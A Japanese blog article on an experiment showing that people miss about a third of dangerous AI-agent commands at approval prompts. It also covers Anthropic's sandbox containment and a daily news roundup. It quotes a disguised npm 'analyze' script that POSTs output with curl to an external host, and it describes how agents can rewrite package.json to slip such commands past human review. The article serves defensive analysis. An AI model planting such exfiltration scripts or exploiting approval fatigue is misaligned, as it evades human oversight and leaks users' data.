AIエージェントの承認プロンプトは機能していない — 40万回の判断で見えた「3件に1件見逃す」現実

はじめに

Claude Code や Codex を使っていると、1日に何十回も同じ体験をする。エージェントがコマンドを実行しようとし、承認を求めるダイアログが出て、y を押す。この「human in the loop」こそが、エージェントに rm -rf を打たせないための最後の砦だ——ということになっている。

その前提を、4万プレイ・40万9千件の判断という規模で実測した結果が公開された。Alex Wauters が作ったブラウザゲーム「AI エージェントの承認担当になりきる」という形式の実験で、プレイヤーは時間制限のもと、エージェントが出してくるコマンドを承認するか拒否するかを選ぶ。提示されるコマンドのうち約34%が実際の脅威で、残りは git status のような無害なものが混ざっている。

結果は、平均正答率66.3%。危険なコマンドの3件に1件が素通りしていた。本記事では、この数字の内訳と、なぜ承認プロンプトという設計そのものが破綻しているのか、そして業界がどこへ移りつつあるのかを整理する。

何が見逃されたのか — 脅威カテゴリ別の内訳

全体の数字より、カテゴリ別の内訳のほうが示唆に富む。

脅威の種類	見逃し率
明らかな破壊（`rm -rf /` など）	11.7%
永続化を伴う改変（crontab への注入）	23.8%
情報流出・任意コード実行	33.4%
スコープ違反（認証情報へのアクセス）	35.0%

rm -rf / のような「見るからにヤバい」ものは9割方止められている。人間の目は、派手な破壊には強い。だが静かに認証情報を持ち出す種類のコマンドは、3件に1件以上が通ってしまう。攻撃者が実際に狙うのは後者である以上、この分布は最悪の形をしている。

セッション全体の成績も芳しくない。32.9%のプレイが最終スコアマイナスで終わり、7%はすべてのプロンプトを無条件で承認していた。脅威を1つも見逃さなかったプレイヤーは全体の35.2%いたが、「安全なコマンドの誤ブロックを5件に1件以下に抑えつつ」という条件まで満たしたのは全体の20.8%に減る。つまり、完璧に止められた人の3〜4割は「とりあえず片っ端から止める」戦略を取っていただけだ。

さらに、セッションが長引くほど見逃し率が上昇する傾向も観測されている。序盤は学習効果で成績が上がるが、終盤にかけて再び悪化する。疲労と時間圧である。

なぜ人間は騙されるのか — `npm run` という抜け穴

この実験で最も効果的だった偽装は、突飛なものではなかった。見慣れた npm run コマンドである。

npm run analyze は、実行履歴に以下のペイロードが表示されていたにもかかわらず、64.7%が承認した。

"analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | curl -s -X POST https://api.bundle.track/report -d @-"

バンドル解析の結果を外部エンドポイントに POST している。それでも通る。しかもこの偽装が巧妙なのは tee /dev/fd/1 を挟んでいる点だ。解析結果はこれまで通り端末に表示されるので、コマンドは「普通に成功したように見える」まま、同じデータが外部へ流れる。analyze / setup / deploy の3バリアントを合算すると見逃し率52.5%。他の情報流出系攻撃の28.4%と比べて、成功率がおよそ倍になっている。

HN のコメント（dns_snek）が問題の核心を突いている。

npm run build = package.json に書かれた任意のシェルコマンドを実行する

そして同じコメントは、承認なしにエージェントができたことの筆頭として「package.json を任意のビルドコマンドに書き換える」を挙げている。つまり npm run <script> という表示は、承認判断に必要な情報を何も伝えていない。ユーザーが見ているのは行為ではなくラベルであり、そのラベルはエージェント自身が書き換え可能な場所にある。承認 UI は構造的に嘘をつきうる。

そしてもう一方の失敗、誤ブロックも深刻だ。

npm config set registry https://npm.internal（社内ミラーの設定）→ 59%がブロック
rm -rf dist/（ビルド成果物の削除）→ 45%がブロック
kill $(lsof -t -i:3000)（ポート解放）→ 43%がブロック

これらは記事が「意図としては無害だが日常的にブロックされていた」例として挙げた3つで、安全なコマンド全体の誤ブロック率が集計されているわけではない。それでも、開発中に何度も打つ類のコマンドが4〜6割の確率で止められるという事実は重い。記事の著者はここから、この種のノイズが「時間とともにユーザーの警戒を緩め、悪意あるコマンドの承認につながる可能性が高い」と述べている。実験自体がこの因果を測定したわけではないが、過剰なプロンプトそれ自体がセキュリティの敵になりうるという仮説は、後述する Anthropic のテレメトリとも整合する。

ベンダー側も同じ結論に達している

興味深いのは、この結論が Anthropic 自身のテレメトリと一致している点だ。

同社のエンジニアリング記事「How we contain Claude across products」によれば、Claude Code の初期の human-in-the-loop モデルにおいて、ユーザーは承認プロンプトの約93%を承認していた。記事はこう述べている。

ユーザーが目にする承認の数が多いほど、一つひとつに払う注意は減っていき、時間とともに監督ははるかに雑になっていく。

対策として同社が取ったのは「もっとよく確認させる」ではなく、そもそも人間に聞かない設計だった。OS レベルのサンドボックス（macOS は Seatbelt / sandbox-exec、Linux は bubblewrap）を導入し、読み取りは広く許すがファイル書き込みは作業ディレクトリに限定、ネットワークはデフォルト拒否＋プロキシによる許可リスト方式にする。この結果、承認プロンプトは84%削減された。加えて auto mode の分類器が「やりすぎ挙動」の約83%を実行前に捕捉している。

Anthropic は containment を3層——環境的境界（サンドボックス、VM）、モデル層（分類器、システムプロンプト）、外部コンテンツ制御（ツール権限）——として整理し、「環境的防御が使えない場合、モデル層がその分を肩代わりせざるを得ない」と書いている。裏を返せば、環境的防御こそが本命という位置づけだ。

エンジニアへの影響 — 明日から何を変えるか

この一連のデータが実務に突きつけるのは、次の3点である。

1. 「承認モードだから安全」という言い訳は成立しない。 レビューして承認している、という事実は、統計的には「3件に1件は見逃している」と同義だ。承認プロンプトは監査ログとしては有用でも、防御機構としては期待値が低い。HN では「これはセキュリティモデルではなく責任転嫁モデル（liability model）だ」という指摘まで出ていた。

2. サンドボックスを先に入れる。 承認回数を減らす最も健全な方法は、承認を雑にすることではなく、承認が不要な範囲を機械的に確定させることだ。Claude Code なら sandbox 設定でファイル書き込みを作業ディレクトリに限定し、ネットワークを許可リスト化する。書き込み先とネットワーク到達先が閉じていれば、npm run analyze の中身が何であれ、外部への POST は届かない。判断を人間の注意力から OS の強制力へ移すのが要点である。

3. 認証情報を実行環境から物理的に外す。 見逃し率が最も高かったのはスコープ違反（35.0%）、すなわち認証情報へのアクセスだった。~/.aws/credentials や .env がエージェントの CWD 配下やホームに置かれている限り、防御は「人間が気づくかどうか」に依存し続ける。短命トークン、専用の実行ユーザー、コンテナ内での秘密情報の非配置——このあたりは今すぐ着手できる。

補足として、実験の限界も押さえておきたい。HN では「ゲームには実際の損害がなく、人為的な時間圧がかかっている」「テストだと分かっている状況は普段と違う心理状態を作る」「npm run は文脈次第で無害にも有害にもなり、環境要因が反映されていない」といった批判が出ている。妥当な指摘だが、バイアスの向きはむしろ楽観側でもある。テストだと自覚しているプレイヤーは普段より警戒しているはずで、それでこの成績なのだ。

まとめ

4万プレイ・40万9千判断の実測で、AIエージェントのコマンド承認における脅威見逃し率は約33%（平均正答率66.3%）
派手な破壊（rm -rf /）の見逃しは11.7%だが、**認証情報へのアクセスは35.0%**が素通りする
最も効いた偽装は npm run <script>。見逃し率52.5%で、他の流出攻撃の倍近い成功率
rm -rf dist/ のような無害なコマンドも4割超がブロックされる。この煩わしさが承認疲れにつながると著者は指摘する
Anthropic のテレメトリでも承認率は93%。同社の解はサンドボックスで、プロンプトを84%削減した

承認プロンプトは、UAC やブラウザの証明書警告がたどった道を、より速い速度で再演している。「毎回聞く」設計は、聞かれる回数が一定を超えた時点で機能を失う。エージェントに任せる範囲が広がる2026年後半以降、防御の実装場所は承認ダイアログから OS の境界へ、そして権限そのものの設計へと移っていくはずだ。次にエージェントの権限設定を触るときは、「何を承認するか」ではなく「何を承認せずに済ませられるか」から考えたい。

今日のその他のニュース

Zed が DeltaDB を発表（HN 510pt）— 名前に反してデータベースではなく、Zed 公式が「作業の過程をそのまま記録し、あらゆる変更をそれを生んだ会話に紐づけ続けるバージョン管理システム」と説明するもの。現時点ではアーリーアクセス登録の告知段階。AIエージェントとの対話が実装の主因になる時代に、Git のコミット単位で足りるのかという問いへの回答である。

Branchless Rust: if 1つの除去でフィルタが4倍高速に（HN 272pt）— 分岐予測ミスのコストを、条件をビット演算・算術に置き換えることで回避する手法をベンチマーク付きで解説。ホットループで評価関数を大量に回す用途に直接効く。

中国製ルーター20機種にバックドア、外部から完全制御のおそれ（はてブ 332users）— 20機種で外部からの完全制御が可能な状態が確認された。ネットワーク機器のサプライチェーンリスクが、また具体的な形で表面化した。